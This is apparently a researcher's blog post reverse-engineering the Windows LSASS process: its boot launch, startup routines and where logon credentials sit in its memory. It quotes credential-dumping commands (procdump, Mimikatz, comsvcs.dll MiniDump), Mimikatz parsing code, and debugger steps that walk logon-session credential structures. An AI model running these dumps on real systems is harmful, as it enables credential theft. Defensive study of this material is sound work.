LSASS Internals

Hero

I recently published the analysis article about Mimikatz. Mimikatz uses the LSASS process to dump credentials on the system. I analyzed the corresponding API calls and memory operations in that article. After that, I wanted to pursue it further, so I decided to analyze the LSASS process.

Disclaimer: This research is conducted purely for educational and ethical security research purposes. It aims to understand the internal mechanisms of LSASS and does not involve or endorse any malicious activity.

There are plenty of explanations on the internet about what LSASS is, so I won’t go into it here. The purpose of this analysis is to understand how it works internally.

LSASS Process Overview

Get-Process | Where-Object { $_.StartTime } | Sort-Object StartTime | Format-Table Id, Name, StartTime, CPU, WS -AutoSize

 Id Name                      StartTime                   CPU        WS
 -- ----                      ---------                   ---        --
 92 Registry                  5/15/2025 10:41:35 PM   2.21875 104865792
  4 System                    5/15/2025 10:41:45 PM        73    135168
292 smss                      5/15/2025 10:41:45 PM    0.4375    933888
404 csrss                     5/15/2025 10:41:48 PM  1.140625   5210112
480 wininit                   5/15/2025 10:41:48 PM  0.234375   6991872
488 csrss                     5/15/2025 10:41:48 PM  6.234375  19906560
564 winlogon                  5/15/2025 10:41:49 PM  0.421875  12443648
620 services                  5/15/2025 10:41:49 PM  3.859375   9359360
640 lsass                     5/15/2025 10:41:49 PM  9.046875  19632128
752 svchost                   5/15/2025 10:41:49 PM 11.265625  26357760

As we can see in the process list above, the LSASS process is started almost immediately after the system boot.

When checking with Task Manager in my environment, it appears that three services, CNG Key Isolation, Credential Manager, and Security Accounts Manager. These services seem to be closely related to LSASS.

taskmgr

File Location

The LSASS process is started by the C:\Windows\System32\lsass.exe file.

Memory Dump

We can dump the LSASS memory by clicking on the Create dump file from the right-click menu in the Task Manager.
According to MITRE ATT&CK, we can also dump using the following commands:

# Method 1. Procdump
procdump -ma lsass.exe lsass_dump

# Method 2. Mimikatz
sekurlsa::Minidump lsassdump.dmp
sekurlsa::logonPasswords # optional: retrieves credentials from the dump file

# Method 3. comsvcs.dll
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump [PID] lsass.dmp full

Attackers try to obtain credentials with the dump file using tools such as Mimikatz, Impacket.

Analyzing Dump File in WinDbg

Generally, we can analyze the dump file using the !analyze command in WinDbg.

.symfix; .reload /f
!analyze -v

*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

KEY_VALUES_STRING: 1

    Key  : Analysis.CPU.mSec
    Value: 578

    Key  : Analysis.Elapsed.mSec
    Value: 745

...Omitted...

FILE_IN_CAB:  lsass.dmp

...Omitted...

PROCESS_NAME:  lsass.exe

...Omitted...

SYMBOL_NAME:  lsass+2136

MODULE_NAME: lsass

IMAGE_NAME:  lsass.exe

FAILURE_BUCKET_ID:  MISSING_CRITICAL_SYMBOLS_ntdll.dll_80000003_lsass.exe!Unknown

OS_VERSION:  10.0.19041.1

BUILDLAB_STR:  vb_release

OSPLATFORM_TYPE:  x64

OSNAME:  Windows 10

...Omitted...

How Mimikatz Extracts Credentials from Dump File

The mimikatz’s sekurlsa::logonPasswords command can extract credentials from a dump file, but what does it do under the hood?

This will be revealed by observing the original source code. To summarize briefly, it performs the following processing on a dump file.

// 1. Open hte handle to the dump file
HANDLE hData = CreateFile("lsass.dmp", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);

// 2. Locates the dump data into LSASS memory by mapping the file.
PKULL_M_MEMORY_HANDLE *hLsassMemory = (PKULL_M_MEMORY_HANDLE) LocalAlloc(LPTR, sizeof(KULL_M_MEMORY_HANDLE));
if((*hLsassMemory)->pHandleProcessDmp = (PKULL_M_MEMORY_HANDLE_PROCESS_DMP) LocalAlloc(LPTR, sizeof(KULL_M_MEMORY_HANDLE_PROCESS_DMP)))
  status = kull_m_minidump_open(hData, &(*hLsassMemory)->pHandleProcessDmp->hMinidump); // map the dump file data

// 3. Extracts the logon session data with the offsets from the located address.
sessionData.LogonId		= (PLUID)			((PBYTE) aBuffer.address + helper->offsetToLuid);
sessionData.LogonType	= *((PULONG)		((PBYTE) aBuffer.address + helper->offsetToLogonType));
sessionData.Session		= *((PULONG)		((PBYTE) aBuffer.address + helper->offsetToSession));
sessionData.UserName	= (PUNICODE_STRING) ((PBYTE) aBuffer.address + helper->offsetToUsername);
sessionData.LogonDomain	= (PUNICODE_STRING) ((PBYTE) aBuffer.address + helper->offsetToDomain);
sessionData.pCredentials= *(PVOID *)		((PBYTE) aBuffer.address + helper->offsetToCredentials);
sessionData.pSid		= *(PSID *)			((PBYTE) aBuffer.address + helper->offsetToPSid);
sessionData.pCredentialManager = *(PVOID *) ((PBYTE) aBuffer.address + helper->offsetToCredentialManager);
sessionData.LogonTime	= *((PFILETIME)		((PBYTE) aBuffer.address + helper->offsetToLogonTime));
sessionData.LogonServer	= (PUNICODE_STRING) ((PBYTE) aBuffer.address + helper->offsetToLogonServer);

// 4. Extracts the protocol-specific credential data (LM, NTLM, SHA1) with the offsets from the located address.
// Omitted...

How LSASS Starts

The first thing I’m curious about is what starts the lsass.exe process after the system boot.

Boot Logging

To find that, I can investigate the boot logs by enabling Boot Logging in Procmon with click on Options -> Enable Boot Logging, and then reboot the system.
After rebooting, reopen Procmon, save the Bootlog.pml file, and start investigating this file.

Now I opened the Procmon’s Process Tree window by clicking on the Tools -> Process Tree menu and observed it.

Process Tree

As a result, I found that the lsass.exe process is started as follows:

System
  └─ smss.exe
       └─ smss.exe (Session 1)
            └─ wininit.exe
                 └─ lsass.exe

At this point, I know that lsass.exe is launched by wininit.exe, so apply the below filters in Procmon:

  • Process Name is wininit.exe then Include
  • Process Name is lsass.exe then Include

Then I found the line where the lsass.exe process is started by wininit.exe as below:

Procmon 1

Kernel Debugging

Next, I perform kernel debugging to confirm the actual behavior from system boot to the point where the LSASS process is started.

1. Preparation for Kernel Debugging

To prepare for kernel debugging, add a serial port in the virtual machine settings and follow the steps:

  • Check on Use named pipe

    • \\.\pipe\com_1
    • This end is the server.
    • The other end is an application.

After that, run the following commands in Command Prompt as Administrator:

bcdedit /debug on
bcdedit /dbgsettings serial debugport:1 baudrate:115200

Next, open WinDbg in the host machine and go to File -> Attach to Kernel -> COM and set the following items:

Baud Rate: 115200
Port: \\.\pipe\com_1

And click OK to start the kernel debugger.

2. Starting Kernel Debugging and Breaking Immediately

Now the WinDbg debugger is waiting to connect the guest VM, so restart the VM guest machine.

Note: The important thing at this point is to click on the Break button in WinDbg to stop the process as soon as the guest machine restarts. That’s because the timing to start investigating should be before lsass.exe is launched.

Once connecting the guest machine in WinDbg, the process stopped with no processes started yet as below:

kd> !process 0 0

**** NT ACTIVE PROCESS DUMP ****
NULL value in PsActiveProcess List

3. Break just before the LSASS Process

At this point, I want to break just before or after the lsass.exe process starts, so I looked for the functions in the kernel module (specifically, ntoskrnl) which can be used for this purpose.

kd> x nt!Ps*

After some research, I felt that nt!PspInsertProcess is one of the better options. PspInsertProcess is a function that prepares the next process which is about to be launched. The EPROCESS structure is passed as the first argument, and the executable name of the target process is stored in the ImageFileName field of the structure.

According to Windows x64 function calling convention, the RCX register is passed as the first argument to the function, so I observed how RCX is used in the nt!PspInsertProcess.

kd> uf nt!PspInsertProcess

nt!PspInsertProcess:
...Omitted...
fffff805`632302d9 4c8b9170050000  mov     r10,qword ptr [rcx+570h]
fffff805`632302e0 488bd9          mov     rbx,rcx
...Omitted...
fffff805`632302ee 8b8140040000    mov     eax,dword ptr [rcx+440h]
...Omitted...

Checking the EPROCESS structure as shown below, there are members corresponding to the positions of each of the above offsets (rcx+570h and rcx+440h):

kd> dt _EPROCESS

ntdll!_EPROCESS
   ...Omitted...
   +0x440 UniqueProcessId  : Ptr64 Void
   ...Omitted...
   +0x570 ObjectTable      : Ptr64 _HANDLE_TABLE
   ...Omitted...

Also, the ImageFileName field in this structure stores the executable name of the process started by PspInsertProcess.

+0x5a0 ImageFilePointer : Ptr64 _FILE_OBJECT
+0x5a8 ImageFileName    : [15] UChar

Based on this, I first set a breakpoint at nt!PspInsertProcess to catch the creation of each process. When the breakpoint is hit, I run the !process @rcx 1 command to inspect the EPROCESS structure passed via the RCX register and check the image name (ImageFileName) of the target process. In other words, I execute the following commands:

kd> bp nt!PspInsertProcess
kd> g
kd> !process @rcx 1

I repeated the above process until “lsass.exe” appears in the “Image:” field of the !process command output.
In other words, I continued executing the g command until just before the lsass.exe process starts.

After repeating these commands several times, I was finally able to halt execution when the lsass.exe process was prepared:

kd> !process @rcx 1

PROCESS ffffd58ca6e0a0c0
    SessionId: 0  Cid: 0248    Peb: 8cf1985000  ParentCid: 01f0
    DirBase: 130563000  ObjectTable: ffff810ec44862c0  HandleCount:   0.
    Image: lsass.exe

We can see the following values from the above results:

  • Process Name: lsass.exe
  • PID: 0248
  • PPID: 01f0

The PPID (Parent PID) points to the wininit.exe process, as shown below:

kd> !process 1f0 0
Searching for Process with Cid == 1f0
PROCESS ffffd58ca66f7080
    SessionId: 0  Cid: 01f0    Peb: 3ba5568000  ParentCid: 0180
    DirBase: 1302f6000  ObjectTable: ffff810ec4352480  HandleCount:  88.
    Image: wininit.exe

At this point, the lsass.exe process has not yet started, as shown below:

kd> !process 0 0 lsass.exe

(Nothing found)

This means that the lsass.exe process has been fully initialized but has not been started yet.

4. Entering the LSASS Process on User Mode

Now, at this point, I deleted the breakpoint at nt!PspInsertProcess and set a new breakpoint at ntdll!LdrInitializeThunk:

kd> bc 0
kd> bp ntdll!LdrInitializeThunk

By setting the breakpoint, the lsass.exe process is stopped immediately after it starts (before the entry function is called).
By continuing the execution at this point, the lsass.exe process has started:

kd> g
kd> !process 0 0 lsass.exe

PROCESS ffffd58ca6e0a0c0
    SessionId: 0  Cid: 0248    Peb: 8cf1985000  ParentCid: 01f0
    DirBase: 130563000  ObjectTable: ffff810ec44862c0  HandleCount:   0.
    Image: lsass.exe

This section was a bit lengthy, but it clearly showed how the lsass.exe process is started.

lsass.exe Basic Flow

Note: I named the non-Windows system API functions myself, and the names might not perfectly reflect their actual behavior since I’m not good at naming things.

Entry Point

disasm-entry

Two functions are called at the entry point.

  • init_seeds: Initializes the configurations for the Security Cookie.
  • program_main: The program main entry.

Since the contents of init_seeds may be common to Windows applications not specific to LSASS, I decided to dig into program_main.

program_main

program_main performs the following actions:

  • Calls two CRT startup functions: _initterm_e is called first, followed by _initterm.
  • Calls lsass_main.

lsass_main seems to be effectively the main function of lsass.exe. Therefore, I analyzed this function to highlight some notable behaviors.

Error Handling

seterrormode

It calls SetErrorMode with SEM_FAILCRITICALERRORS to prevent Windows from displaying a popup and instead send the error to the calling process.

Unhandled Exception Filter

setunhandledexceptionfilter

SetUnhandledExceptionFilter is called with RtlUnhandledExceptionFilter as its argument.
Since ntdll!RtlUnhandledExceptionFilter is undocumented, I searched the function on GitHub and the React OS documentation, then I found the following code:

LONG
NTAPI
RtlUnhandledExceptionFilter(IN struct _EXCEPTION_POINTERS* ExceptionInfo)
{
    /* This is used by the security cookie checks, and also called externally */
    UNIMPLEMENTED;
    PrintStackTrace(ExceptionInfo);
    return ERROR_CALL_NOT_IMPLEMENTED;
}

Critical Process

setprocessiscritical

RtlSetProcessIsCritical is called to mark the current process as a critical process. When the process is terminated, it triggers a BSOD. Its arguments are set as follows:

  • NewValue = 1 (True)
  • OldValue = 0 (False)
  • CheckFlag = 1 (True)

Reference: NtDoc

Windows Error Reporting (WER)

wersetflags

WerSetFlags is called with the following flags:

  • WER_FAULT_REPORTING_FLAG_QUEUE
  • WER_FAULT_REPORTING_FLAG_DISABLE_THREAD_SUSPENSION
  • WER_FAULT_REPORTING_DISABLE_SNAPSHOT_HANG
  • WER_FAULT_REPORTING_CRITICAL
  • WER_FAULT_REPORTING_DURABLE

IsProtectedProcess Flag

fg-lsass-main-isprotectedprocess

It checks whether the IsProtectedProcess bit (bit 1) in PEB->BitField is set. If so, it jumps to the set_mitigation_policy label; Otherwise, it jumps to the harden_lsass_process label.

In each label, the following actions may occur:

/*
 * set_mitigation_policy
 */

// 1. Sets the mitigation policy for the current process.
NtSetInformationProcess(
  // ProcessHandle: lsass.exe process itself
  -1,
  // ProcessInformationClass: ProcessMitigationPolicy
  52,
  // ProcessInformation:
  //  - ProcessMitigationPolicyInformation.Policy = ProcessDynamicCodePolicy
  //  - ProcessMitigationPolicyInformation.StrictHandleCheckPolicy = 1
  procInfo,
  // ProcessInformationLength: 8
  8
);

// 2. If STATUS_NOT_SUPPORTED, go to the harden_lsass_process.
// 3. Otherwise, exit the thread.

/*
 * harden_lsass_process
 */
 
// 1. Enables the ProcessHandleCheckingMode for the current process.
NtSetInformationProcess(
  // ProcessHandle: lsass.exe process itself
  -1,
  // ProcessInformationClass: ProcessHandleCheckingMode
  54,
  // ProcessInformation: Enables the ProcessHandleCheckingMode
  1,
  // ProcessInformationLength: 4
  4
);

// 2. If error, exit the thread.

// 3. Sets the priority to 9.
NtSetInformationProcess(
  // ProcessHandle: lsass.exe process itself
  -1,
  // ProcessInformationClass: ProcessBasePriority
  5,
  // ProcessInformation: KPRIORITY = 9
  9,
  // ProcessInformationLength: 4
  4
);

// 4. If error, exit the thread.

// 5. Proceed the process...

Settings SystemRoot to Environment Variable

disasm-lsass-main-init-envvars

The C:\\Windows path is assigned to the “Path” environment variable. It also uses the \\System32 string in some way, but I could not figure out its purpose. It likely attempts to construct the full C:\Windows\System32 path instead.

Initializing SIDs

disasm-lsass-main-init-sids-1 disasm-lsass-main-init-sids-2

RtlLengthRequiredSid, RtlInitializeSid, and RtlSubAuthoritySid are used to construct several SIDs with specific subauthorities. Then, the remaining SIDs are derived from the capability name “lpacIdentityServices” by calling RtlDeriveCapabilitySidsFromName.

Dispatch to KsecDD or SSP Client Callback

fg-lsass-main-dispatch-authentication-io-request

Under certain conditions, one of the following actions is performed:

  • Calls sspi!SspiSrvClientCallback. Although this function is poorly documented, it is likely related to a Security Support Provider (SSP) such as Kerberos or NTLM, and may perform operations related to authentication or session handling.
  • Calls NtDeviceIoControlFile to send a specific IOCTL code to the “\Device\KsecDD” device driver.

Initializing LPC Server/Client

1. Starting SeLsaCommandPort Server

disasm-lsass-main-init-alpc-server-client-1

It initializes a port object named “SeLsaCommandPort” by calling NtCreatePort.

disasm-lsass-main-init-alpc-server-client-3

It initializes a LPC listener by calling NtListenPort with the port object.

disasm-lsass-main-init-alpc-server-client-4

It establishes connection with a LPC client by calling NtAcceptConnectPort, and then calls NtCompleteConnectPort.

disasm-lsass-main-wait-alpsc-requests

And it receives incoming LPC requests from a client by calling NtReplyWaitReceivePort.

2. Establishing Connection with SeRmCommandPort Server

disasm-lsass-main-init-alpc-server-client-2

It establishes a connection with the LPC server named “SeRmCommandPort” by calling NtConnectPort.

Resolving LSA APIs in LsaSrv

disasm-lsass-main-resolve-apis-in-lsasrv-dll

It retrieves module names stored in the Extensions value under the registry key HKLM\SYSTEM\CurrentControlSet\Control\LsaExtensionConfig\LsaSrv by calling RegOpenKeyExW and RegQueryValueExW. lsasrv.dll is typically included in this value.

disasm-lsass-main-init-lsa-functions-1

Next, it loads those modules by calling LoadLibraryExW, and retrieves the following function addresses by calling GetProcAddress:

  • InitializeLsaExtension
  • QueryLsaInterface

disasm-lsass-main-init-lsa-functions-2

These functions are stored in a global structure that holds module and API pointers.

Note: There is a persistence technique that involves adding malicious DLLs to the Extensions value. Resource: detection.fyi

Resolving LSA APIs in Interfaces

disasm-lsass-main-resolve-apis-in-interfaces

It enumerates subkeys under the registry path HKLM\SYSTEM\CurrentControlSet\Control\LsaExtensionConfig\Interfaces by calling RegEnumKeyExW. Those subkeys are interfaces named like “1001” or “1002”.

After that, the module names are obtained from the Extension value for each interface, and the addresses of the same two functions as before are retrieved.

Preparing RPC Server

disasm-lsass-main-init-rpc-server-1

disasm-lsass-main-init-rpc-server-2

It calls RpcServerUseProtseqEpW to register two protocol/endpoint pairs for the RPC server:

  • “ncacn_np” with “\pipe\lsass”
  • “ncalrpc” with “lsapolicylookup”

disasm-lsass-main-init-rpc-server-3

After that, it calls RpcServerRegisterIf3 to register the interface for the RPC server.

Calling SspiSrvInitialize

disasm-lsass-main-sspisrvinitialize

It calls sspisrv!SspiSrvInitialize with the global function table as the first argument.
Although this function is poorly documented, it may initialize a Security Support Provider Interface (SSPI) service or some other related component.

Establishing Connection to KsecDD

disasm-lsass-main-init-ksecdd-threadpool

It calls NtDeviceIoControlFile to send the IOCTL code IOCTL_KSEC_CONNECT_LSA (KsecDispatch) to the “\Device\KsecDD” kernel driver. This code is used to establish the initial connection.

Starting RPC Server

disasm-lsass-main-start-rpc-server

It calls RpcServerListen to signal the RPC run-time library to start listening for incoming RPC requests. This call follows the configuration set earlier by RpcServerUseProtseqEpQ and RpcServerRegisterIf3.

Then it calls CreateEventW and SetEventW to notify that the LSA RPC server has been activated by setting the event to the signaled state.

Calling LSA Functions

It calls InitializeLsaExtension and QueryLsaInterface using the list of function pointers previously retrieved from the registry key HKLM\SYSTEM\CurrentControlSet\Control\LsaExtensionConfig.

Setting the LSA Initialized Event to Signaled State

It sets the event object named “LSA_SUBSYSTEM_INITIALIZED” to signaled state by calling SetEvent.

LSASS Memory Analysis

Since I was curious about where the credentials were stored in LSASS memory, I decided to look into it directly. I could have easily extracted them using Mimikatz, but I wanted to get my hands dirty to better understand the process. So, I started WinDbg again for kernel debugging.

In WinDbg, I switched to the context of the LSASS process with the following commands:

kd> !process 0 0 lsass.exe
PROCESS ffffdd0f7cb9d080
    SessionId: 0  Cid: 027c    Peb: 75aa5c2000  ParentCid: 01e4
    DirBase: 1363e4000  ObjectTable: ffffb5040be9d900  HandleCount: 1007.
    Image: lsass.exe

kd> .process /r /p ffffdd0f7cb9d080

Extracting Credentials

First, I obtained the address pointed to by the LogonSessionList pointer, which references a LIST_ENTRY structure. The first field in the LIST_ENTRY structure is Flink, so I retrieved the address stored in that Flink field:

kd> r @$t0 = poi(lsasrv!LogonSessionList)

By tracing the offsets using the structure implemented in Mimikatz as a reference, I was able to obtain the username, domain, and the logon server as plaintext:

kd> dt _UNICODE_STRING @$t0+90
win32k!_UNICODE_STRING
 "johndoee"
   +0x000 Length           : 0xe
   +0x002 MaximumLength    : 0x10
   +0x008 Buffer           : 0x000001c0`b72f6240  "johndoee"

kd> dt _UNICODE_STRING @$t0+a0
win32k!_UNICODE_STRING
 "DESKTOP-XXXXXXX"
   +0x000 Length           : 0x1e
   +0x002 MaximumLength    : 0x20
   +0x008 Buffer           : 0x000001c0`b78856a0  "DESKTOP-XXXXXXX"

kd> dt _UNICODE_STRING @$t0+f8
win32k!_UNICODE_STRING
 "DESKTOP-XXXXXXX"
   +0x000 Length           : 0x1e
   +0x002 MaximumLength    : 0x1e
   +0x008 Buffer           : 0x000001c0`b78857c0  "DESKTOP-XXXXXXX"

Then I obtained the Credentials field to extract the NTLM hash using the specified offset:

kd> dd @$t0+108
000001c0`b7840698  b7885760 000001c0 00000e94 00000000

kd> dd 1c0b7885760
000001c0`b7885760  00000000 00000000 00000003 00000000
000001c0`b7885770  b7840340 000001c0 00490048 0008004b

The structure of the Credentials field is as follows:

typedef struct _KIWI_MSV1_0_CREDENTIALS {
	struct _KIWI_MSV1_0_CREDENTIALS *next;
	DWORD AuthenticationPackageId;
	PKIWI_MSV1_0_PRIMARY_CREDENTIALS PrimaryCredentials;
} KIWI_MSV1_0_CREDENTIALS, *PKIWI_MSV1_0_CREDENTIALS;

Therefore, I could see that the address in the second line of the dd command above is a pointer to the PrimaryCredentials field. So, I displayed the data at that address using the following command:

kd> dd 1c0b7840340
000001c0`b7840340  00000000 00000000 00080007 00000000
000001c0`b7840350  b7840368 000001c0 01b801b0 00000000

The structure of the PrimaryCredentials field is as follows:

typedef struct _KIWI_MSV1_0_PRIMARY_CREDENTIALS {
	struct _KIWI_MSV1_0_PRIMARY_CREDENTIALS *next;
	ANSI_STRING Primary;
	LSA_UNICODE_STRING Credentials;
} KIWI_MSV1_0_PRIMARY_CREDENTIALS, *PKIWI_MSV1_0_PRIMARY_CREDENTIALS;

Using the offsets in that structure, I extracted the Primary and Credentials fields:

0: kd> dt _UNICODE_STRING 1c0b7840340+8
win32k!_UNICODE_STRING
 "牐浩牡y"
   +0x000 Length           : 7
   +0x002 MaximumLength    : 8
   +0x008 Buffer           : 0x000001c0`b7840368  "牐浩牡y"

0: kd> dt _UNICODE_STRING 0x1c0b7840340+18
win32k!_UNICODE_STRING
 "㤮龂㓇䵧???"
   +0x000 Length           : 0x1b0
   +0x002 MaximumLength    : 0x1b8
   +0x008 Buffer           : 0x000001c0`b7840370  "㤮龂㓇䵧???"

However, the Buffer fields appeared garbled, while I could display the Primary field in ASCII:

kd> da poi(0x1c0b7840340+8+8)
000001c0`b7840368  "Primary"

On the other hand, the Credentials field had a different value when compared to the NTLM hash of the actual password.

kd> dd poi(0x1c0b7840340+18+8) L4
000001c0`b7840370  9f82392e 4d6734c7 21662bff 2508b27d

When I looked at the source code of Mimikatz, it seemed that the NTLM hash was not stored directly at this location. It appears that the NT, NTLM, and SHA1 hashes can be obtained by further tracing the offset from the address pointed to by the Buffer field, but I decided this was enough for the current investigation.
…To be honest, I gave up due to a lack of concentration and time.